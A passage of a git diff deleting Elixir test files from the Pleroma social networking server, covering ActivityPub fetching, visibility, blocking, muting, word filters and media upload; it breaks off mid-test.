- |> assign(:user, user) - |> get(object_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, other_user) - |> get(object_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - assert Delivery.get(object.id, other_user.id) - end - - test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do - user = insert(:user, local: false) - other_user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(activity_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, other_user) - |> get(activity_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - assert Delivery.get(object.id, other_user.id) - end - end - - describe "Additional ActivityPub C2S endpoints" do - test "GET /api/ap/whoami", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> get("/api/ap/whoami") - - user = User.get_cached_by_id(user.id) - - assert UserView.render("user.json", %{user: user}) == json_response(conn, 200) - - conn - |> get("/api/ap/whoami") - |> json_response(403) - end - - setup do: clear_config([:media_proxy]) - setup do: clear_config([Pleroma.Upload]) - - test "POST /api/ap/upload_media", %{conn: conn} do - user = insert(:user) - - desc = "Description of the image" - - image = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - object = - conn - |> assign(:user, user) - |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) - |> json_response(:created) - - assert object["name"] == desc - assert object["type"] == "Document" - assert object["actor"] == user.ap_id - assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] - assert is_binary(object_href) - assert object_mediatype == "image/jpeg" - - activity_request = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "AP C2S test, attachment", - "attachment" => [object] - }, - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [] - } - - activity_response = - conn - |> assign(:user, user) - |> post("/users/#{user.nickname}/outbox", activity_request) - |> json_response(:created) - - assert activity_response["id"] - assert activity_response["object"] - assert activity_response["actor"] == user.ap_id - - assert %Object{data: %{"attachment" => [attachment]}} = - Object.normalize(activity_response["object"]) - - assert attachment["type"] == "Document" - assert attachment["name"] == desc - - assert [ - %{ - "href" => ^object_href, - "type" => "Link", - "mediaType" => ^object_mediatype - } - ] = attachment["url"] - - # Fails if unauthenticated - conn - |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) - |> json_response(403) - end - end -end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs deleted file mode 100644 index 804305a13..000000000 --- a/test/web/activity_pub/activity_pub_test.exs +++ /dev/null @@ -1,2260 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ActivityPubTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Builders.ActivityBuilder - alias Pleroma.Config - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating]) - - describe "streaming out participations" do - test "it streams them out" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, conversation} = Pleroma.Conversation.create_or_bump_for(activity) - - participations = - conversation.participations - |> Repo.preload(:user) - - with_mock Pleroma.Web.Streamer, - stream: fn _, _ -> nil end do - ActivityPub.stream_out_participations(conversation.participations) - - assert called(Pleroma.Web.Streamer.stream("participation", participations)) - end - end - - test "streams them out on activity creation" do - user_one = insert(:user) - user_two = insert(:user) - - with_mock Pleroma.Web.Streamer, - stream: fn _, _ -> nil end do - {:ok, activity} = - CommonAPI.post(user_one, %{ - status: "@#{user_two.nickname}", - visibility: "direct" - }) - - conversation = - activity.data["context"] - |> Pleroma.Conversation.get_for_ap_id() - |> Repo.preload(participations: :user) - - assert called(Pleroma.Web.Streamer.stream("participation", conversation.participations)) - end - end - end - - describe "fetching restricted by visibility" do - test "it restricts by the appropriate visibility" do - user = insert(:user) - - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - activities = ActivityPub.fetch_activities([], %{visibility: "direct", actor_id: user.ap_id}) - - assert activities == [direct_activity] - - activities = - ActivityPub.fetch_activities([], %{visibility: "unlisted", actor_id: user.ap_id}) - - assert activities == [unlisted_activity] - - activities = - ActivityPub.fetch_activities([], %{visibility: "private", actor_id: user.ap_id}) - - assert activities == [private_activity] - - activities = ActivityPub.fetch_activities([], %{visibility: "public", actor_id: user.ap_id}) - - assert activities == [public_activity] - - activities = - ActivityPub.fetch_activities([], %{ - visibility: ~w[private public], - actor_id: user.ap_id - }) - - assert activities == [public_activity, private_activity] - end - end - - describe "fetching excluded by visibility" do - test "it excludes by the appropriate visibility" do - user = insert(:user) - - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "direct", - actor_id: user.ap_id - }) - - assert public_activity in activities - assert unlisted_activity in activities - assert private_activity in activities - refute direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "unlisted", - actor_id: user.ap_id - }) - - assert public_activity in activities - refute unlisted_activity in activities - assert private_activity in activities - assert direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "private", - actor_id: user.ap_id - }) - - assert public_activity in activities - assert unlisted_activity in activities - refute private_activity in activities - assert direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "public", - actor_id: user.ap_id - }) - - refute public_activity in activities - assert unlisted_activity in activities - assert private_activity in activities - assert direct_activity in activities - end - end - - describe "building a user from his ap id" do - test "it returns a user" do - user_id = "http://mastodon.example.org/users/admin" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - assert user.ap_id == user_id - assert user.nickname == "admin@mastodon.example.org" - assert user.ap_enabled - assert user.follower_address == "http://mastodon.example.org/users/admin/followers" - end - - test "it returns a user that is invisible" do - user_id = "http://mastodon.example.org/users/relay" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - assert User.invisible?(user) - end - - test "it returns a user that accepts chat messages" do - user_id = "http://mastodon.example.org/users/admin" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - - assert user.accepts_chat_messages - end - end - - test "it fetches the appropriate tag-restricted posts" do - user = insert(:user) - - {:ok, status_one} = CommonAPI.post(user, %{status: ". #test"}) - {:ok, status_two} = CommonAPI.post(user, %{status: ". #essais"}) - {:ok, status_three} = CommonAPI.post(user, %{status: ". #test #reject"}) - - fetch_one = ActivityPub.fetch_activities([], %{type: "Create", tag: "test"}) - - fetch_two = ActivityPub.fetch_activities([], %{type: "Create", tag: ["test", "essais"]}) - - fetch_three = - ActivityPub.fetch_activities([], %{ - type: "Create", - tag: ["test", "essais"], - tag_reject: ["reject"] - }) - - fetch_four = - ActivityPub.fetch_activities([], %{ - type: "Create", - tag: ["test"], - tag_all: ["test", "reject"] - }) - - assert fetch_one == [status_one, status_three] - assert fetch_two == [status_one, status_two, status_three] - assert fetch_three == [status_one, status_two] - assert fetch_four == [status_three] - end - - describe "insertion" do - test "drops activities beyond a certain limit" do - limit = Config.get([:instance, :remote_limit]) - - random_text = - :crypto.strong_rand_bytes(limit + 1) - |> Base.encode64() - |> binary_part(0, limit + 1) - - data = %{ - "ok" => true, - "object" => %{ - "content" => random_text - } - } - - assert {:error, :remote_limit} = ActivityPub.insert(data) - end - - test "doesn't drop activities with content being null" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => nil - } - } - - assert {:ok, _} = ActivityPub.insert(data) - end - - test "returns the activity if one with the same id is already in" do - activity = insert(:note_activity) - {:ok, new_activity} = ActivityPub.insert(activity.data) - - assert activity.id == new_activity.id - end - - test "inserts a given map into the activity database, giving it an id if it has none." do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert activity.data["ok"] == data["ok"] - assert is_binary(activity.data["id"]) - - given_id = "bla" - - data = %{ - "id" => given_id, - "actor" => user.ap_id, - "to" => [], - "context" => "blabla", - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert activity.data["ok"] == data["ok"] - assert activity.data["id"] == given_id - assert activity.data["context"] == "blabla" - assert activity.data["context_id"] - end - - test "adds a context when none is there" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - object = Pleroma.Object.normalize(activity) - - assert is_binary(activity.data["context"]) - assert is_binary(object.data["context"]) - assert activity.data["context_id"] - assert object.data["context_id"] - end - - test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert object = Object.normalize(activity) - assert is_binary(object.data["id"]) - end - end - - describe "listen activities" do - test "does not increase user note count" do - user = insert(:user) - - {:ok, activity} = - ActivityPub.listen(%{ - to: ["https://www.w3.org/ns/activitystreams#Public"], - actor: user, - context: "", - object: %{ - "actor" => user.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "artist" => "lain", - "title" => "lain radio episode 1", - "length" => 180_000, - "type" => "Audio" - } - }) - - assert activity.actor == user.ap_id - - user = User.get_cached_by_id(user.id) - assert user.note_count == 0 - end - - test "can be fetched into a timeline" do - _listen_activity_1 = insert(:listen) - _listen_activity_2 = insert(:listen) - _listen_activity_3 = insert(:listen) - - timeline = ActivityPub.fetch_activities([], %{type: ["Listen"]}) - - assert length(timeline) == 3 - end - end - - describe "create activities" do - setup do - [user: insert(:user)] - end - - test "it reverts create", %{user: user} do - with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do - assert {:error, :reverted} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - end - - assert Repo.aggregate(Activity, :count, :id) == 0 - assert Repo.aggregate(Object, :count, :id) == 0 - end - - test "creates activity if expiration is not configured and expires_at is not passed", %{ - user: user - } do - clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) - - assert {:ok, _} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - end - - test "rejects activity if expires_at present but expiration is not configured", %{user: user} do - clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) - - assert {:error, :expired_activities_disabled} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - }, - additional: %{ - "expires_at" => DateTime.utc_now() - } - }) - - assert Repo.aggregate(Activity, :count, :id) == 0 - assert Repo.aggregate(Object, :count, :id) == 0 - end - - test "removes doubled 'to' recipients", %{user: user} do - {:ok, activity} = - ActivityPub.create(%{ - to: ["user1", "user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - - assert activity.data["to"] == ["user1", "user2"] - assert activity.actor == user.ap_id - assert activity.recipients == ["user1", "user2", user.ap_id] - end - - test "increases user note count only for public activities", %{user: user} do - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "1", - visibility: "public" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "2", - visibility: "unlisted" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "2", - visibility: "private" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "3", - visibility: "direct" - }) - - user = User.get_cached_by_id(user.id) - assert user.note_count == 2 - end - - test "increases replies count", %{user: user} do - user2 = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) - ap_id = activity.data["id"] - reply_data = %{status: "1", in_reply_to_status_id: activity.id} - - # public - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 1 - - # unlisted - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - - # private - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - - # direct - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - end - end - - describe "fetch activities for recipients" do - test "retrieve the activities for certain recipients" do - {:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]}) - {:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]}) - {:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]}) - - activities = ActivityPub.fetch_activities(["someone", "someone_else"]) - assert length(activities) == 2 - assert activities == [activity_one, activity_two] - end - end - - describe "fetch activities in context" do - test "retrieves activities that have a given context" do - {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) - {:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) - {:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"}) - activity_five = insert(:note_activity) - user = insert(:user) - - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_five.data["actor"]}) - - activities = ActivityPub.fetch_activities_for_context("2hu", %{blocking_user: user}) - assert activities == [activity_two, activity] - end - - test "doesn't return activities with filtered words" do - user = insert(:user) - user_two = insert(:user) - insert(:filter, user: user, phrase: "test", hide: true) - - {:ok, %{id: id1, data: %{"context" => context}}} = CommonAPI.post(user, %{status: "1"}) - - {:ok, %{id: id2}} = CommonAPI.post(user_two, %{status: "2", in_reply_to_status_id: id1}) - - {:ok, %{id: id3} = user_activity} = - CommonAPI.post(user, %{status: "3 test?", in_reply_to_status_id: id2}) - - {:ok, %{id: id4} = filtered_activity} = - CommonAPI.post(user_two, %{status: "4 test!", in_reply_to_status_id: id3}) - - {:ok, _} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) - - activities = - context - |> ActivityPub.fetch_activities_for_context(%{user: user}) - |> Enum.map(& &1.id) - - assert length(activities) == 4 - assert user_activity.id in activities - refute filtered_activity.id in activities - end - end - - test "doesn't return blocked activities" do - activity_one = insert(:note_activity) - activity_two = insert(:note_activity) - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_one.data["actor"]}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_one) - - {:ok, _user_block} = User.unblock(user, %{ap_id: activity_one.data["actor"]}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_three.data["actor"]}) - {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) - %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) - activity_three = Activity.get_by_id(activity_three.id) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - - activities = ActivityPub.fetch_activities([], %{blocking_user: nil, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - end - - test "doesn't return transitive interactions concerning blocked users" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) - - {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - {:ok, activity_four} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker}) - - assert Enum.member?(activities, activity_one) - refute Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_four) - end - - test "doesn't return announce activities with blocked users in 'to'" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - {:ok, activity_three} = CommonAPI.repeat(activity_two.id, friend) - - activities = - ActivityPub.fetch_activities([], %{blocking_user: blocker}) - |> Enum.map(fn act -> act.id end) - - assert Enum.member?(activities, activity_one.id) - refute Enum.member?(activities, activity_two.id) - refute Enum.member?(activities, activity_three.id) - end - - test "doesn't return announce activities with blocked users in 'cc'" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - assert object = Pleroma.Object.normalize(activity_two) - - data = %{ - "actor" => friend.ap_id, - "object" => object.data["id"], - "context" => object.data["context"], - "type" => "Announce", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [blockee.ap_id] - } - - assert {:ok, activity_three} = ActivityPub.insert(data) - - activities = - ActivityPub.fetch_activities([], %{blocking_user: blocker}) - |> Enum.map(fn act -> act.id end) - - assert Enum.member?(activities, activity_one.id) - refute Enum.member?(activities, activity_two.id) - refute Enum.member?(activities, activity_three.id) - end - - test "doesn't return activities from blocked domains" do - domain = "dogwhistle.zone" - domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) - note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) - activity = insert(:note_activity, %{note: note}) - user = insert(:user) - {:ok, user} = User.block_domain(user, domain) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - refute activity in activities - - followed_user = insert(:user) - CommonAPI.follow(user, followed_user) - {:ok, repeat_activity} = CommonAPI.repeat(activity.id, followed_user) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - refute repeat_activity in activities - end - - test "does return activities from followed users on blocked domains" do - domain = "meanies.social" - domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) - blocker = insert(:user) - - {:ok, blocker} = User.follow(blocker, domain_user) - {:ok, blocker} = User.block_domain(blocker, domain) - - assert User.following?(blocker, domain_user) - assert User.blocks_domain?(blocker, domain_user) - refute User.blocks?(blocker, domain_user) - - note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) - activity = insert(:note_activity, %{note: note}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) - - assert activity in activities - - # And check that if the guy we DO follow boosts someone else from their domain, - # that should be hidden - another_user = insert(:user, %{ap_id: "https://#{domain}/@meanie2"}) - bad_note = insert(:note, %{data: %{"actor" => another_user.ap_id}}) - bad_activity = insert(:note_activity, %{note: bad_note}) - {:ok, repeat_activity} = CommonAPI.repeat(bad_activity.id, domain_user) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) - - refute repeat_activity in activities - end - - test "doesn't return muted activities" do - activity_one = insert(:note_activity) - activity_two = insert(:note_activity) - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - - activity_one_actor = User.get_by_ap_id(activity_one.data["actor"]) - {:ok, _user_relationships} = User.mute(user, activity_one_actor) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_one) - - # Calling with 'with_muted' will deliver muted activities, too. - activities = - ActivityPub.fetch_activities([], %{ - muting_user: user, - with_muted: true, - skip_preload: true - }) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - {:ok, _user_mute} = User.unmute(user, activity_one_actor) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - activity_three_actor = User.get_by_ap_id(activity_three.data["actor"]) - {:ok, _user_relationships} = User.mute(user, activity_three_actor) - {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) - %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) - activity_three = Activity.get_by_id(activity_three.id) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - - activities = ActivityPub.fetch_activities([], %{muting_user: nil, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - end - - test "doesn't return thread muted activities" do - user = insert(:user) - _activity_one = insert(:note_activity) - note_two = insert(:note, data: %{"context" => "suya.."}) - activity_two = insert(:note_activity, note: note_two) - - {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) - - assert [_activity_one] = ActivityPub.fetch_activities([], %{muting_user: user}) - end - - test "returns thread muted activities when with_muted is set" do - user = insert(:user) - _activity_one = insert(:note_activity) - note_two = insert(:note, data: %{"context" => "suya.."}) - activity_two = insert(:note_activity, note: note_two) - - {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) - - assert [_activity_two, _activity_one] = - ActivityPub.fetch_activities([], %{muting_user: user, with_muted: true}) - end - - test "does include announces on request" do - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - - {:ok, user} = User.follow(user, booster) - - {:ok, announce} = CommonAPI.repeat(activity_three.id, booster) - - [announce_activity] = ActivityPub.fetch_activities([user.ap_id | User.following(user)]) - - assert announce_activity.id == announce.id - end - - test "excludes reblogs on request" do - user = insert(:user) - {:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user}) - {:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user}) - - [activity] = ActivityPub.fetch_user_activities(user, nil, %{exclude_reblogs: true}) - - assert activity == expected_activity - end - - describe "irreversible filters" do - setup do - user = insert(:user) - user_two = insert(:user) - - insert(:filter, user: user_two, phrase: "cofe", hide: true) - insert(:filter, user: user_two, phrase: "ok boomer", hide: true) - insert(:filter, user: user_two, phrase: "test", hide: false) - - params = %{ - type: ["Create", "Announce"], - user: user_two - } - - {:ok, %{user: user, user_two: user_two, params: params}} - end - - test "it returns statuses if they don't contain exact filter words", %{ - user: user, - params: params - } do - {:ok, _} = CommonAPI.post(user, %{status: "hey"}) - {:ok, _} = CommonAPI.post(user, %{status: "got cofefe?"}) - {:ok, _} = CommonAPI.post(user, %{status: "I am not a boomer"}) - {:ok, _} = CommonAPI.post(user, %{status: "ok boomers"}) - {:ok, _} = CommonAPI.post(user, %{status: "ccofee is not a word"}) - {:ok, _} = CommonAPI.post(user, %{status: "this is a test"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.count(activities) == 6 - end - - test "it does not filter user's own statuses", %{user_two: user_two, params: params} do - {:ok, _} = CommonAPI.post(user_two, %{status: "Give me some cofe!"}) - {:ok, _} = CommonAPI.post(user_two, %{status: "ok boomer"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.count(activities) == 2 - end - - test "it excludes statuses with filter words", %{user: user, params: params} do - {:ok, _} = CommonAPI.post(user, %{status: "Give me some cofe!"}) - {:ok, _} = CommonAPI.post(user, %{status: "ok boomer"}) - {:ok, _} = CommonAPI.post(user, %{status: "is it a cOfE?"}) - {:ok, _} = CommonAPI.post(user, %{status: "cofe is all I need"}) - {:ok, _} = CommonAPI.post(user, %{status: "— ok BOOMER\n"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.empty?(activities) - end - - test "it returns all statuses if user does not have any filters" do - another_user = insert(:user) - {:ok, _} = CommonAPI.post(another_user, %{status: "got cofe?"}) - {:ok, _} = CommonAPI.post(another_user, %{status: "test!"}) - - activities = - ActivityPub.fetch_activities([], %{ - type: ["Create", "Announce"], - user: another_user - }) - - assert Enum.count(activities) == 2 - end - end - - describe "public fetch activities" do - test "doesn't retrieve unlisted activities" do - user = insert(:user) - - {:ok, _unlisted_activity} = CommonAPI.post(user, %{status: "yeah", visibility: "unlisted"}) - - {:ok, listed_activity} = CommonAPI.post(user, %{status: "yeah"}) - - [activity] = ActivityPub.fetch_public_activities() - - assert activity == listed_activity - end - - test "retrieves public activities" do - _activities = ActivityPub.fetch_public_activities() - - %{public: public} = ActivityBuilder.public_and_non_public() - - activities = ActivityPub.fetch_public_activities() - assert length(activities) == 1 - assert Enum.at(activities, 0) == public - end - - test "retrieves a maximum of 20 activities" do - ActivityBuilder.insert_list(10) - expected_activities = ActivityBuilder.insert_list(20) - - activities = ActivityPub.fetch_public_activities() - - assert collect_ids(activities) == collect_ids(expected_activities) - assert length(activities) == 20 - end - - test "retrieves ids starting from a since_id" do - activities = ActivityBuilder.insert_list(30) - expected_activities = ActivityBuilder.insert_list(10) - since_id = List.last(activities).id - - activities = ActivityPub.fetch_public_activities(%{since_id: since_id}) - - assert collect_ids(activities) == collect_ids(expected_activities) - assert length(activities) == 10 - end - - test "retrieves ids up to max_id" do - ActivityBuilder.insert_list(10) - expected_activities = ActivityBuilder.insert_list(20) - - %{id: max_id} = - 10 - |> ActivityBuilder.insert_list() - |> List.first() - - activities = ActivityPub.fetch_public_activities(%{max_id: max_id}) - - assert length(activities) == 20 - assert collect_ids(activities) == collect_ids(expected_activities) - end - - test "paginates via offset/limit" do - _first_part_activities = ActivityBuilder.insert_list(10) - second_part_activities = ActivityBuilder.insert_list(10) - - later_activities = ActivityBuilder.insert_list(10) - - activities = ActivityPub.fetch_public_activities(%{page: "2", page_size: "20"}, :offset) - - assert length(activities) == 20 - - assert collect_ids(activities) == - collect_ids(second_part_activities) ++ collect_ids(later_activities) - end - - test "doesn't return reblogs for users for whom reblogs have been muted" do - activity = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) - - {:ok, activity} = CommonAPI.repeat(activity.id, booster) - - activities = ActivityPub.fetch_activities([], %{muting_user: user}) - - refute Enum.any?(activities, fn %{id: id} -> id == activity.id end) - end - - test "returns reblogs for users for whom reblogs have not been muted" do - activity = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) - {:ok, _reblog_mute} = CommonAPI.show_reblogs(user, booster) - - {:ok, activity} = CommonAPI.repeat(activity.id, booster) - - activities = ActivityPub.fetch_activities([], %{muting_user: user}) - - assert Enum.any?(activities, fn %{id: id} -> id == activity.id end) - end - end - - describe "uploading files" do - setup do - test_file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - %{test_file: test_file} - end - - test "sets a description if given", %{test_file: file} do - {:ok, %Object{} = object} = ActivityPub.upload(file, description: "a cool file") - assert object.data["name"] == "a cool file" - end - - test "it sets the default description depending on the configuration", %{test_file: file} do - 